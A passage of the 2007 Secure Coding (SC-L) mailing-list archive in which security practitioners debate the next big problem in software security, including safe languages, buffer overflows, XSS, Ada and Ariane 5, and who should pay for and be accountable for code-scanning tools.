From livshits at cs.stanford.edu  Thu Jun  7 21:44:51 2007
From: livshits at cs.stanford.edu (Benjamin Livshits)
Date: Thu, 7 Jun 2007 18:44:51 -0700
Subject: [SC-L] What's the next tech problem to be solved in software
	security?
In-Reply-To: <Pine.GSO.4.51.0706072015250.5736@faron.mitre.org>
References: <20070606140148.C78DB1F3E96@spike.porcupine.org>
	<Pine.GSO.4.51.0706072015250.5736@faron.mitre.org>
Message-ID: <83c013520706071844i75af0556jc507ee1dfe62635d@mail.gmail.com>

I've recently been working on providing better secure programming
defaults. There's a great opportunity for doing so for applications
written on top of frameworks/libraries.

See our paper " Towards Security by Construction for Web 2.0
Applications" at a recent W2SP workshop.

-Ben

On 6/7/07, Steven M. Christey <coley at linus.mitre.org> wrote:
>
> On Wed, 6 Jun 2007, Wietse Venema wrote:
>
> > more and more people, with less and less experience, will be
> > "programming" computer systems.
> >
> > The challenge is to provide environments that allow less experienced
> > people to "program" computer systems without introducing gaping
> > holes or other unexpected behavior.
>
> I completely agree with this.  This is a grand challenge for software
> security, so maybe it's not the NEXT problem.  There's a lot of tentative
> work in this area - safe strings in C, SafeInt,
> StackGuard/FormatGuard/etc., non-executable data segments, security
> patterns, and so on.  But these are "bolt-on" methods on top of the same
> old languages or technologies, and some of these require developer
> awareness.  I know there's been some work in "secure languages" but I'm
> not up-to-date on it.
>
> More modern languages advertise security but aren't necessarily
> catch-alls.  I remember one developer telling me how his application used
> Ruby on Rails, so he was confident he was secure, but it didn't stop his
> app from having an obvious XSS in core functionality.
>
> > An example is the popular PHP language. Writing code is comparatively
> > easy, but writing secure code is comparatively hard. I'm working on
> > the second part, but I don't expect miracles.
>
> PHP is an excellent example, because it's clearly lowered the bar for
> programming and has many features that are outright dangerous, where it's
> understandable how the careless/clueless programmer could have introduced
> the issue.  Web programming in general, come to think of it.
>
> - Steve
> _______________________________________________
> Secure Coding mailing list (SC-L) SC-L at securecoding.org
> List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
> List charter available at - http://www.securecoding.org/list/charter.php
> SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
> as a free, non-commercial service to the software security community.
> _______________________________________________
>


-- 
Thanks,
-Ben

From stephen at twisteddelight.org  Fri Jun  8 03:53:43 2007
From: stephen at twisteddelight.org (Stephen de Vries)
Date: Fri, 8 Jun 2007 09:53:43 +0200
Subject: [SC-L] What's the next tech problem to be solved in software
	security?
In-Reply-To: <Pine.GSO.4.51.0706072015250.5736@faron.mitre.org>
References: <20070606140148.C78DB1F3E96@spike.porcupine.org>
	<Pine.GSO.4.51.0706072015250.5736@faron.mitre.org>
Message-ID: <CD3045AE-DFE1-4648-B641-B4C6827EBB4B@twisteddelight.org>


On 8 Jun 2007, at 02:23, Steven M. Christey wrote:
>
> More modern languages advertise security but aren't necessarily
> catch-alls.

At the same time, the improvements in security made by managed code  
(e.g. the JRE and .NET runtimes) for example, should not be  
understated.  The fact that apps written in these languages are not  
susceptible to buffer overflow issues is a HUGE improvement.  And for  
this particular vulnerability these languages are effectively catch- 
alls.  (As long as all your code is managed and the runtime  
implementation itself doesn't contain BO's).  The fine grained access  
control model of the Java runtime (I guess .NET has the same thing?)  
is also a big win.  This is not an add on framework, but is built  
right into the language.

As Ben and Robert have pointed out, we're likely to see similar  
improvements when developers make more use of frameworks for  
implementing application tiers.  It's a lot harder to introduce XSS  
issues when using modern MVC frameworks (e.g. .NET's, JSF, WebWork)  
than cobling a view layer together using JSPs and servlets.
It would still be possible for developers to introduce  
vulnerabilities when using these frameworks, but it's a lot more  
difficult.

>   I remember one developer telling me how his application used
> Ruby on Rails, so he was confident he was secure, but it didn't  
> stop his
> app from having an obvious XSS in core functionality.

It's ironic that RoR is well known for it's policy of preferring  
sensible defaults instead of extensive configuration, yet you have to  
explicitly perform HTML encoding of data included in a web page.

> PHP is an excellent example, because it's clearly lowered the bar for
> programming and has many features that are outright dangerous,  
> where it's
> understandable how the careless/clueless programmer could have  
> introduced
> the issue.  Web programming in general, come to think of it.

There are also examples of languages/frameworks that get it right,  
such as JBoss Seam where both SQL injection and XSS are difficult to  
introduce by default.
It's easier to build secure applications when the building blocks  
themselves provide security by default.  Developers will adopt  
frameworks because they make programming easier - if these frameworks  
also prevent common security vulnerabilities then that's a big win  
for more secure applications.  Where security pro's can help out is  
in pointing out poor security defaults in frameworks and getting the  
owners to change them.  Change once, benefit everywhere.

regards,
Stephen "the glass is half full" de Vries







From thesp0nge at gmail.com  Fri Jun  8 05:39:40 2007
From: thesp0nge at gmail.com (Paolo Perego)
Date: Fri, 8 Jun 2007 11:39:40 +0200
Subject: [SC-L] Perspectives on Code Scanning
In-Reply-To: <773F863A6009244B87E6E866AFC7DB4603999BAA@AD1HFDEXC309.ad1.prod>
References: <235ACFD8-214B-4EF0-9EAD-FD429B19E763@krvw.com>
	<773F863A6009244B87E6E866AFC7DB4603999BAA@AD1HFDEXC309.ad1.prod>
Message-ID: <e9cf3c9b0706080239y32dfc665w6190427262a7ad9c@mail.gmail.com>

On 6/6/07, McGovern, James F (HTSC, IT) <James.McGovern at thehartford.com> wrote:
> I really hope that this email doesn't generate a ton of offline emails and hope that folks will talk publicly. It has been my latest thinking that the value of tools in this space are not really targeted at developers but should be targeted at executives who care about overall quality and security folks who care about risk. While developers are the ones to remediate, the accountability for secure coding resides elsewhere.

Hi there, I found this thread very interesting.
It's true that developers are the ones who remediate to code
insecurity and executives care about how much effort has to be spent
over closing branches. Indeed I think the two categories needs a tool
approaching the same problem (tell if a code follows security best
practices or not) showing results in 2 "different" languages.

Developers need how to know how to fix their code. Executives need to
know how much these fixes cost, who will attend them and in how many
time fixes will be committed.

*imho* vendor has to follow developer licensing... since developer do
knows ho to write code but he has to be helped in writing it in a
secure way.

Safe coding is a concern for both developers than executives.
My 2 euro cents

Ciao ciao
thesp0nge
-- 
Owasp Orizon leader
orizon.sourceforge.net

From ljknews at mac.com  Fri Jun  8 08:51:50 2007
From: ljknews at mac.com (ljknews)
Date: Fri, 8 Jun 2007 08:51:50 -0400
Subject: [SC-L] What's the next tech problem to be solved in software
 security?
In-Reply-To: <CD3045AE-DFE1-4648-B641-B4C6827EBB4B@twisteddelight.org>
References: <20070606140148.C78DB1F3E96@spike.porcupine.org>
	<Pine.GSO.4.51.0706072015250.5736@faron.mitre.org>
	<CD3045AE-DFE1-4648-B641-B4C6827EBB4B@twisteddelight.org>
Message-ID: <p05200f24c28f00d50a70@[192.168.1.254]>

At 9:53 AM +0200 6/8/07, Stephen de Vries wrote:
> On 8 Jun 2007, at 02:23, Steven M. Christey wrote:
>>
>> More modern languages advertise security but aren't necessarily
>> catch-alls.
> 
> At the same time, the improvements in security made by managed code  
> (e.g. the JRE and .NET runtimes) for example, should not be  
> understated.  The fact that apps written in these languages are not  
> susceptible to buffer overflow issues is a HUGE improvement.

An improvement only for those who have previously chosen lowest common
denominator languages.  Immunity from buffer overflows has been around
for 30 years.  The fact that some set of developers choose to ignore
the languages that provide it does not make the next environment  that
provides it an improvement for the industry.
-- 
Larry Kilgallen

From leichter_jerrold at emc.com  Fri Jun  8 11:03:12 2007
From: leichter_jerrold at emc.com (Leichter, Jerry)
Date: Fri, 8 Jun 2007 11:03:12 -0400 (EDT)
Subject: [SC-L] What's the next tech problem to be solved in software
 security?
In-Reply-To: <Pine.GSO.4.51.0706072015250.5736@faron.mitre.org>
References: <20070606140148.C78DB1F3E96@spike.porcupine.org>
	<Pine.GSO.4.51.0706072015250.5736@faron.mitre.org>
Message-ID: <Pine.SOL.4.61.0706081032130.2285@mental>

On Thu, 7 Jun 2007, Steven M. Christey wrote:
| On Wed, 6 Jun 2007, Wietse Venema wrote:
| 
| > more and more people, with less and less experience, will be
| > "programming" computer systems.
| >
| > The challenge is to provide environments that allow less experienced
| > people to "program" computer systems without introducing gaping
| > holes or other unexpected behavior.
| 
| I completely agree with this.  This is a grand challenge for software
| security, so maybe it's not the NEXT problem.  There's a lot of
| tentative work in this area - safe strings in C, SafeInt,
| StackGuard/FormatGuard/etc., non-executable data segments, security
| patterns, and so on.  But these are "bolt-on" methods on top of the
| same old languages or technologies, and some of these require
| developer awareness.  I know there's been some work in "secure
| languages" but I'm not up-to-date on it.
| 
| More modern languages advertise security but aren't necessarily
| catch-alls.  I remember one developer telling me how his application
| used Ruby on Rails, so he was confident he was secure, but it didn't
| stop his app from having an obvious XSS in core functionality.
| 
| > An example is the popular PHP language. Writing code is comparatively
| > easy, but writing secure code is comparatively hard. I'm working on
| > the second part, but I don't expect miracles.
| 
| PHP is an excellent example, because it's clearly lowered the bar for
| programming and has many features that are outright dangerous, where
| it's understandable how the careless/clueless programmer could have
| introduced the issue.  Web programming in general, come to think of
| it.
I think this all misses the essential point.

Safe strings, stack guards, non-executable data segments - these are all
solutions to yesterday's problems.  Yes, they are still important; yes,
the solutions aren't yet complete.  But the emerging problems are
exemplified by your comment about XSS.

The real issue that we still have not internalized is that the "field of
operations" has changed dramatically.  We still think of a "program" as
something that runs on some box somewhere.  The "programming model" is
the hardware and software inside that box.  "Security" is about making
sure that that box does what it's supposed to do - no more and no less.
Everything that crosses the boundary of that box is "just I/O".

But increasingly that boundary is dissolving.  Yes, much of the Web 2.0
rhetoric is overblown, but much of what it's selling you - the
applications that live in the network, the storage that lives in the
network, etc. - is already here to one degree or another.  An XSS
attack cannot even be described within the confines of a single box.
It's an attack against a distributed "program" running on a distribute
"machine" consisting of at least three different "boxes", each doing
exactly what it was designed to do.

Nothing we do to the hardware in the individual boxes only will make the
slightest difference at this higher level of abstraction.  Nothing we do
in programming languages that only deal with a single box will help.  We
don't today even have any formalisms for describing these distributed
programs - much less safe ways for building them.

So I would say that the grand challenge today is to move on.  Start
thinking about how to secure the global network - not the wires, not the
individual boxes, not the API's, but the emergent properties of the
whole thing.  This will require very different thinking.  Some things
are clear:  We gained safety within the individual boxes only by giving
up some freedom.  Self-modifying code?  No thanks.  Unstructured control
flow?  We can do better.  Everything is just bits?  No, everything has a
type.  And so on.

Meanwhile, on the network side, what do we have?  Untyped byte streams;
mobile code; anything-goes paste-ups; no effective, enforced distinction
between between code and data; glorification of any hacky means at all
that gets something out there *yesterday*.

The techniques we are applying with increasing success inside the box
today - hardware enforcement of executability constraints and stack
overflows; type-safe, memory-safe languages; static analysis; and so on
- are ideas that go back 30 years.  What's making them practical today
is (a) years of refinement on the basic ideas; (b) much faster hardware.
I can't recall any really new idea in this area in a *long* time.

When it comes to these new problems, we're not much further along than
we were in the early 1960's for traditional programming.  We don't have
any real models for the computation process, so no starting point for
defining safe subsets.  We don't even know what "safe" means for a
global computation:  At least for a program I've run on my box, I can in
principle write down what I expect it to do and not do.  For a "program"
using resources on my box and a bunch of other boxes, many belonging to
parties I know nothing about and who generally don't know each other
either - who even in principle can write down the correctness
properties?  The only thing we as field have to offer in this situation
is interface specs - which capture way too little.

							-- Jerry


From James.McGovern at thehartford.com  Fri Jun  8 13:01:15 2007
From: James.McGovern at thehartford.com (McGovern, James F (HTSC, IT))
Date: Fri, 8 Jun 2007 13:01:15 -0400
Subject: [SC-L] Perspectives on Code Scanning
In-Reply-To: <e9cf3c9b0706080239y32dfc665w6190427262a7ad9c@mail.gmail.com>
Message-ID: <773F863A6009244B87E6E866AFC7DB4603999BD0@AD1HFDEXC309.ad1.prod>

In a previous thread someone appropriately commented that perspectives in this space differ depending upon whether you are a software vendor, government customer or enterprise. I do not disagree that developers need to know how to fix their code. What I am saying is that tools to assist developers in writing better could should be free.

Your quote "*imho* vendor has to follow developer licensing" is where I think it will harm the goals of secure coding at large. Consider the trend within the industry that tools for software development are essentially becoming free. No one pays for IDEs (rare exceptions) when things like Eclipse and Visual Studio have free versions.

Enterprise folks however will pay lots of money for tools in the auditing space that help them to quantify risk. The ability to scan large multiple code bases is a different product/problem than scanning while writing code in an IDE. I am saying that more money could be had if folks focus on the first and not the later. Vendors who get it twisted by focusing on the number of developers are dillusional and should ask themselves why aren't but a select few of any enterprise pervasively deploying tools to developers.

Give away the developer tools in the same way Microsoft does and you will accelerate your potential sales from the bottom up. Not all sales within places are driven top down...

-----Original Message-----
From: sc-l-bounces at securecoding.org
[mailto:sc-l-bounces at securecoding.org]On Behalf Of Paolo Perego
Sent: Friday, June 08, 2007 5:40 AM
To: McGovern, James F (HTSC, IT)
Cc: Secure Coding
Subject: Re: [SC-L] Perspectives on Code Scanning

Hi there, I found this thread very interesting.
It's true that developers are the ones who remediate to code
insecurity and executives care about how much effort has to be spent
over closing branches. Indeed I think the two categories needs a tool
approaching the same problem (tell if a code follows security best
practices or not) showing results in 2 "different" languages.

Developers need how to know how to fix their code. Executives need to
know how much these fixes cost, who will attend them and in how many
time fixes will be committed.

*imho* vendor has to follow developer licensing... since developer do
knows ho to write code but he has to be helped in writing it in a
secure way.

Safe coding is a concern for both developers than executives.
My 2 euro cents

Ciao ciao
thesp0nge
-- 
Owasp Orizon leader
orizon.sourceforge.net
_______________________________________________
Secure Coding mailing list (SC-L) SC-L at securecoding.org
List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
List charter available at - http://www.securecoding.org/list/charter.php
SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
as a free, non-commercial service to the software security community.
_______________________________________________


*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited.  If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************



From mouse at Rodents.Montreal.QC.CA  Sat Jun  9 08:33:18 2007
From: mouse at Rodents.Montreal.QC.CA (der Mouse)
Date: Sat, 9 Jun 2007 08:33:18 -0400 (EDT)
Subject: [SC-L] What's the next tech problem to be solved in software
 security?
In-Reply-To: <p05200f24c28f00d50a70@[192.168.1.254]>
References: <20070606140148.C78DB1F3E96@spike.porcupine.org>
	<Pine.GSO.4.51.0706072015250.5736@faron.mitre.org>
	<CD3045AE-DFE1-4648-B641-B4C6827EBB4B@twisteddelight.org>
	<p05200f24c28f00d50a70@[192.168.1.254]>
Message-ID: <200706091235.IAA04305@Sparkle.Rodents.Montreal.QC.CA>

> Immunity from buffer overflows has been around for 30 years.  The
> fact that some set of developers choose to ignore the languages that
> provide it does not make the next environment that provides it an
> improvement for the industry.

I'd disagree - if it means a significant increase in people actually
using such environments (languages, whatever), then it's an
improvement for the industry, even if it's no theoretical advance.

/~\ The ASCII				der Mouse
\ / Ribbon Campaign
 X  Against HTML	       mouse at rodents.montreal.qc.ca
/ \ Email!	     7D C8 61 52 5D E7 2D 39  4E F1 31 3E E8 B3 27 4B

From ljknews at mac.com  Sat Jun  9 11:12:24 2007
From: ljknews at mac.com (ljknews)
Date: Sat, 9 Jun 2007 11:12:24 -0400
Subject: [SC-L] What's the next tech problem to be solved in software
 security?
In-Reply-To: <200706091235.IAA04305@Sparkle.Rodents.Montreal.QC.CA>
References: <20070606140148.C78DB1F3E96@spike.porcupine.org>
	<Pine.GSO.4.51.0706072015250.5736@faron.mitre.org>
	<CD3045AE-DFE1-4648-B641-B4C6827EBB4B@twisteddelight.org>
	<p05200f24c28f00d50a70@[192.168.1.254]>
	<200706091235.IAA04305@Sparkle.Rodents.Montreal.QC.CA>
Message-ID: <p05200f07c290735c4486@[192.168.1.254]>

At 8:33 AM -0400 6/9/07, der Mouse wrote:

>> Immunity from buffer overflows has been around for 30 years.  The
>> fact that some set of developers choose to ignore the languages that
>> provide it does not make the next environment that provides it an
>> improvement for the industry.
> 
> I'd disagree - if it means a significant increase in people actually
> using such environments (languages, whatever), then it's an
> improvement for the industry, even if it's no theoretical advance.

A law which outlawed unsafe languages could also be effective, but it
would not solve a "tech problem", which is the basis for this thread.
At best these are solutions to "social problems" or "education problems".
-- 
Larry Kilgallen

From dcrocker at eschertech.com  Sat Jun  9 16:51:04 2007
From: dcrocker at eschertech.com (David Crocker)
Date: Sat, 9 Jun 2007 21:51:04 +0100
Subject: [SC-L] FW: What's the next tech problem to be
	solvedin	softwaresecurity?
In-Reply-To: <W2047823700226701181220759@webmail1>
Message-ID: <110e01c7aad7$e5bbd010$6501a8c0@escheradmin>

IMO the real problem is that software developers are still focussed on
programming, not on specification. We should leave programming to computers,
instead of wasting money paying people to do it and hoping that the resulting
system meets user requirements, including some semblance of security.

If instead we pay people to perform the more skilled tasks of establishing
requirements and specifying the systems to meet them, and use computers to
generate programs that meet the specifications, then such things as freedom from
buffer overflow come free of charge. By "freedom" here, I don't mean the sort of
freedom that comes in "safe" languages such as Ada and Java - in which the
buffer overflow raises an exception, probably requiring a restart of the
subsystem - but rather, genuine immunity.

Other security issues (like freedom from SQL injection and cross-site scripting
attacks) may not always come free but are relatively easy to add to the
specification, as long as people are aware of the need to do so.

It amazes me that software development techniques have progressed so little in
the last 50 years. In the 1950s we had assembler. This was followed in the 1960s
by "high level programming languages". Nearly 50 years later we have... slightly
better "high level programming languages". For example, one of the major
languages in use today is C, which is more than 30 years old. The only
significant advance since the invention of C (and Algol before it) is
object-oriented programming - a welcome improvement, but far short of the
paradigm shift that is desperately needed.

Let's stop focussing on the minute detail of the steps that a computer needs to
execute in order to solve a software problem, and turn our attention instead to
describing what the program is supposed to achieve - including its resistance to
hostile input. Until we do so, we will be doing little more than patching up
outdated technology.

David Crocker, Escher Technologies Ltd.
Consultancy, contracting and tools for dependable software development
www.eschertech.com




-----Original Message-----
From: sc-l-bounces at securecoding.org [mailto:sc-l-bounces at securecoding.org] On
Behalf Of SC-L Subscriber Dave Aronson
Sent: 07 June 2007 13:53
To: SC-L at securecoding.org
Subject: Re: [SC-L] FW: What's the next tech problem to be solvedin
softwaresecurity?


Michael S Hines [mailto:mshines at purdue.edu] writes:

 > Product integration - why have an editor, separate source code analizer,  >
separate 'lint' product, compiler, linker, object code analyzer, Fuzz
 > testing tools, etc...    apart from marketing and revenue stream - it
 > doesn't help the developer any.

It may.  IME, "all-in-one" products usually integrate the pieces well.  On the
other claw, they don't tend to do most, if any, of the pieces well.  On the
third hand, "integration" doesn't have to mean they're no longer "separate".
They can "play nicely together" if they adhere to relevant standards for
interoperability.  Witness how you can develop a lot of software without leaving
Emacs, or Eclipse.

However, I don't think that's all that relevant to software security in
particular, as opposed to software development in general.

-Dave

-- 
Dave Aronson
"Specialization is for insects."  -Heinlein
Work: http://www.davearonson.com/
Play: http://www.davearonson.net/



_______________________________________________
Secure Coding mailing list (SC-L) SC-L at securecoding.org
List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
List charter available at - http://www.securecoding.org/list/charter.php
SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com) as a
free, non-commercial service to the software security community.
_______________________________________________



From ljknews at mac.com  Sun Jun 10 07:12:23 2007
From: ljknews at mac.com (ljknews)
Date: Sun, 10 Jun 2007 07:12:23 -0400
Subject: [SC-L] FW: What's the next tech problem to be	solvedin
 softwaresecurity?
In-Reply-To: <110e01c7aad7$e5bbd010$6501a8c0@escheradmin>
References: <110e01c7aad7$e5bbd010$6501a8c0@escheradmin>
Message-ID: <p05200f00c2918c78220d@[192.168.1.254]>

At 9:51 PM +0100 6/9/07, David Crocker wrote:

> If instead we pay people to perform the more skilled tasks of establishing
> requirements and specifying the systems to meet them, and use computers to
> generate programs that meet the specifications, then such things as freedom from
> buffer overflow come free of charge. By "freedom" here, I don't mean the sort of
> freedom that comes in "safe" languages such as Ada and Java - in which the
> buffer overflow raises an exception, probably requiring a restart of the
> subsystem

In my experience with Ada 83, the potential for buffer overflow is detected
at compile time.  When I get an unexpected runtime exception, it is almost
always at the interface to another language.
-- 
Larry Kilgallen

From rcs at cert.org  Sun Jun 10 09:16:42 2007
From: rcs at cert.org (Robert C. Seacord)
Date: Sun, 10 Jun 2007 09:16:42 -0400
Subject: [SC-L] FW: What's the next tech problem to be	solvedin
	softwaresecurity?
In-Reply-To: <p05200f00c2918c78220d@[192.168.1.254]>
References: <110e01c7aad7$e5bbd010$6501a8c0@escheradmin>
	<p05200f00c2918c78220d@[192.168.1.254]>
Message-ID: <466BF9BA.5000906@cert.org>

ljknews,

Yes, it is virtually impossible to get a serious runtime error in an Ada
program.  For example:

http://www.youtube.com/watch?v=kYUrqdUyEpI

rCs


> At 9:51 PM +0100 6/9/07, David Crocker wrote:
>
>   
>> If instead we pay people to perform the more skilled tasks of establishing
>> requirements and specifying the systems to meet them, and use computers to
>> generate programs that meet the specifications, then such things as freedom from
>> buffer overflow come free of charge. By "freedom" here, I don't mean the sort of
>> freedom that comes in "safe" languages such as Ada and Java - in which the
>> buffer overflow raises an exception, probably requiring a restart of the
>> subsystem
>>     
>
> In my experience with Ada 83, the potential for buffer overflow is detected
> at compile time.  When I get an unexpected runtime exception, it is almost
> always at the interface to another language.
>   


From ljknews at mac.com  Sun Jun 10 09:31:09 2007
From: ljknews at mac.com (ljknews)
Date: Sun, 10 Jun 2007 09:31:09 -0400
Subject: [SC-L] FW: What's the next tech problem to be	solvedin
 softwaresecurity?
In-Reply-To: <466BF9BA.5000906@cert.org>
References: <110e01c7aad7$e5bbd010$6501a8c0@escheradmin>
	<p05200f00c2918c78220d@[192.168.1.254]> <466BF9BA.5000906@cert.org>
Message-ID: <p05200f01c291ac63a1e2@[192.168.1.254]>

At 9:16 AM -0400 6/10/07, Robert C. Seacord wrote:
> ljknews,
> 
> Yes, it is virtually impossible to get a serious runtime error in an Ada
> program.  For example:
> 
> http://www.youtube.com/watch?v=kYUrqdUyEpI

It amazes me that someone in a discussion of software security would point
to a page that requires Javascript to be viewed.

But I see the topic of the page was Ariane 5, a well known case of running
software in an environment other than that specified in the design of the
software.

That is a management issue - my comments were about buffer overflows,
as were the comments of David Crocker which I quoted.  If you have
secret knowledge that the Ariane 5 failure was related to buffer
overflows, please share it.

Not reading what was going on, in fact, was the cause of the Ariene 5
failure.

>> At 9:51 PM +0100 6/9/07, David Crocker wrote:
>>
>>   
>>> If instead we pay people to perform the more skilled tasks of establishing
>>> requirements and specifying the systems to meet them, and use computers to
>>> generate programs that meet the specifications, then such things as freedom from
>>> buffer overflow come free of charge. By "freedom" here, I don't mean the sort of
>>> freedom that comes in "safe" languages such as Ada and Java - in which the
>>> buffer overflow raises an exception, probably requiring a restart of the
>>> subsystem
>>>     
>>
>> In my experience with Ada 83, the potential for buffer overflow is detected
>> at compile time.  When I get an unexpected runtime exception, it is almost
>> always at the interface to another language.
>>   

-- 
Larry Kilgallen

From ken at krvw.com  Sun Jun 10 09:37:57 2007
From: ken at krvw.com (Kenneth Van Wyk)
Date: Sun, 10 Jun 2007 09:37:57 -0400
Subject: [SC-L] What's the next tech problem to be solved in software
	security?
In-Reply-To: <p05200f00c2918c78220d@[192.168.1.254]>
References: <110e01c7aad7$e5bbd010$6501a8c0@escheradmin>
	<p05200f00c2918c78220d@[192.168.1.254]>
Message-ID: <B37169F6-8E1D-4702-B29B-230A4686BAA2@krvw.com>

First off, many thanks to all who've contributed to this thread.  The  
responses and range of opinions I find fascinating, and I hope that  
others have found value in it as well.  Great stuff, keep it coming.

That said, I see us going towards that favorite of rat-holes here,  
namely the "my programming language is better than yours, nyeah!"  
path.  Let's please avoid that.  I'm confident that we've seen it  
enough times to know that it ends with no clear winners (but plenty  
of losers).

Cheers,

Ken
-----
Kenneth R. van Wyk
SC-L Moderator
KRvW Associates, LLC
http://www.KRvW.com




-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 2454 bytes
Desc: not available
Url : http://krvw.com/pipermail/sc-l/attachments/20070610/658e660a/attachment.bin 

From alphonce at buffalo.edu  Sun Jun 10 11:31:13 2007
From: alphonce at buffalo.edu (Carl Alphonce)
Date: Sun, 10 Jun 2007 11:31:13 -0400
Subject: [SC-L] Perspectives on Code Scanning
Message-ID: <2811.1181489473@buffalo.edu>


[Apologies for this reply being a bit behind the discussion - I originally submitted it from a different
e-mail account than the one I subscribed with, and so it sailed off to /dev/null.]

On Wed Jun  6 18:59 , "Michael Silk" michaelslists at gmail.com> sent:
>On 6/7/07, McGovern, James F (HTSC, IT) James.McGovern at thehartford.com> wrote:
>> I really hope that this email doesn't generate a ton of offline emails and hope that folks will
>> talk publicly. It has been my latest thinking that the value of tools in this space are not really
>> targeted at developers but should be targeted at executives who care about overall quality
>> and security folks who care about risk. While developers are the ones to remediate, the
>> accountability for secure coding resides elsewhere.
>
>and that's the problem. the accountability for insecure coding should
>reside with the developers. it's their fault [mostly].

I started to look through the ACM Code Of Ethics (COE) to see what it says about this.  ACM has
a general COE:

    http://www.acm.org/constitution/code.html

and one for Software Engineering and Professional Practice:

    http://www.acm.org/serving/se/code.htm

I glanced through them fairly quickly, but neither appears to specifically address secure coding. 
Reading through both it seems to me that the spirit of both of these COE documents is that everyone
involved in the production of software (including developers and managers) has an obligation to
ensure the quality/reliability/safety of the software.  (It would be interesting to look at other professional
organizations' COEs too.)

This makes sense to me.  If only developers are held responsible, then it is too easy for management to make
the work environment difficult for developers who sweat code security, and then wash their hands of it.
Similarly, if only the managers are responsible, the developers can take shortcuts to meet deadlines and
avoid responsibility if the software breaks.  If everybody has a stake in the security of the software, maybe
it will happen.



From rcs at cert.org  Sun Jun 10 11:31:07 2007
From: rcs at cert.org (Robert C. Seacord)
Date: Sun, 10 Jun 2007 11:31:07 -0400
Subject: [SC-L] FW: What's the next tech problem to be	solvedin
	softwaresecurity?
In-Reply-To: <p05200f01c291ac63a1e2@[192.168.1.254]>
References: <110e01c7aad7$e5bbd010$6501a8c0@escheradmin>	<p05200f00c2918c78220d@[192.168.1.254]>
	<466BF9BA.5000906@cert.org> <p05200f01c291ac63a1e2@[192.168.1.254]>
Message-ID: <466C193B.3010504@cert.org>


The Ariane 5 disaster was due to a variety of software development
failures:  process, reuse, design, and coding.  the coding error was an
uncaught exception resulting from a floating point to integer conversion
error. 

My only point was that choice of language does not in and of itself
protect you from security/safety failures.

rCs

> At 9:16 AM -0400 6/10/07, Robert C. Seacord wrote:
>   
>> ljknews,
>>
>> Yes, it is virtually impossible to get a serious runtime error in an Ada
>> program.  For example:
>>
>> http://www.youtube.com/watch?v=kYUrqdUyEpI
>>     
>
> It amazes me that someone in a discussion of software security would point
> to a page that requires Javascript to be viewed.
>
> But I see the topic of the page was Ariane 5, a well known case of running
> software in an environment other than that specified in the design of the
> software.
>
> That is a management issue - my comments were about buffer overflows,
> as were the comments of David Crocker which I quoted.  If you have
> secret knowledge that the Ariane 5 failure was related to buffer
> overflows, please share it.
>
> Not reading what was going on, in fact, was the cause of the Ariene 5
> failure.
>
>   
>>> At 9:51 PM +0100 6/9/07, David Crocker wrote:
>>>
>>>   
>>>       
>>>> If instead we pay people to perform the more skilled tasks of establishing
>>>> requirements and specifying the systems to meet them, and use computers to
>>>> generate programs that meet the specifications, then such things as freedom from
>>>> buffer overflow come free of charge. By "freedom" here, I don't mean the sort of
>>>> freedom that comes in "safe" languages such as Ada and Java - in which the
>>>> buffer overflow raises an exception, probably requiring a restart of the
>>>> subsystem
>>>>     
>>>>         
>>> In my experience with Ada 83, the potential for buffer overflow is detected
>>> at compile time.  When I get an unexpected runtime exception, it is almost
>>> always at the interface to another language.
>>>   
>>>       
>
>   


From BlueBoar at thievco.com  Sun Jun 10 13:31:01 2007
From: BlueBoar at thievco.com (Blue Boar)
Date: Sun, 10 Jun 2007 10:31:01 -0700
Subject: [SC-L] Harvard vs. von Neumann
In-Reply-To: <p05200f01c291ac63a1e2@[192.168.1.254]>
References: <110e01c7aad7$e5bbd010$6501a8c0@escheradmin>	<p05200f00c2918c78220d@[192.168.1.254]>
	<466BF9BA.5000906@cert.org> <p05200f01c291ac63a1e2@[192.168.1.254]>
Message-ID: <466C3555.10208@thievco.com>

ljknews wrote:
> It amazes me that someone in a discussion of software security would point
> to a page that requires Javascript to be viewed.

I'm on a couple of mailing list with Dr. Solly, an early antivirus
researcher. he likes to talk about this idea of "Grannyx" an
(hypothetical) operating system for Grannies that just does what they
need, doesn't have security problems due to simplicity and missing
unneeded features, and doesn't mix data and code.

Then I point to the Web.

Like it or not, the Web doesn't work right without Javascript now. The
world has encoded von Neumann architecture into the standards.

					Ryan

From thesp0nge at gmail.com  Sun Jun 10 15:02:27 2007
From: thesp0nge at gmail.com (Paolo Perego)
Date: Sun, 10 Jun 2007 21:02:27 +0200
Subject: [SC-L] Perspectives on Code Scanning
In-Reply-To: <773F863A6009244B87E6E866AFC7DB4603999BD0@AD1HFDEXC309.ad1.prod>
References: <e9cf3c9b0706080239y32dfc665w6190427262a7ad9c@mail.gmail.com>
	<773F863A6009244B87E6E866AFC7DB4603999BD0@AD1HFDEXC309.ad1.prod>
Message-ID: <e9cf3c9b0706101202m6779f5cw74663eacedec7d5f@mail.gmail.com>

James, and all list please apologies for my bad english usage. Looking
at your reply I understood I espressed my thoghuts playing bad with
words.

By saying that vendors has to follow developer licensing, I intended
that in my opinion is good that vendors still build tool to aid
developers not only executives as some mail in this thread would
suggest.

I do agree that tool designed to assist developers in writing secure
code has to be free and open. I'm writing one of this tool, indeed
it's a framework to build such tools but it's not an important
different in this topic.

I think that an open source approach is the winning here not just for
saving money in buying tools but for the widespread knowledge shared
among developers and security experts writing the tool itself.

Sorry for my firmer mail that doesn't show correctly what is my opinion.

The framework for code review tool I'm writing is an owasp project,
hosted at sourceforge: http://orizon.sourceforge.net

Ciao ciao
thesp0nge


On 6/8/07, McGovern, James F (HTSC, IT) <James.McGovern at thehartford.com> wrote:
> In a previous thread someone appropriately commented that perspectives in this space differ depending upon whether you are a software vendor, government customer or enterprise. I do not disagree that developers need to know how to fix their code. What I am saying is that tools to assist developers in writing better could should be free.
>
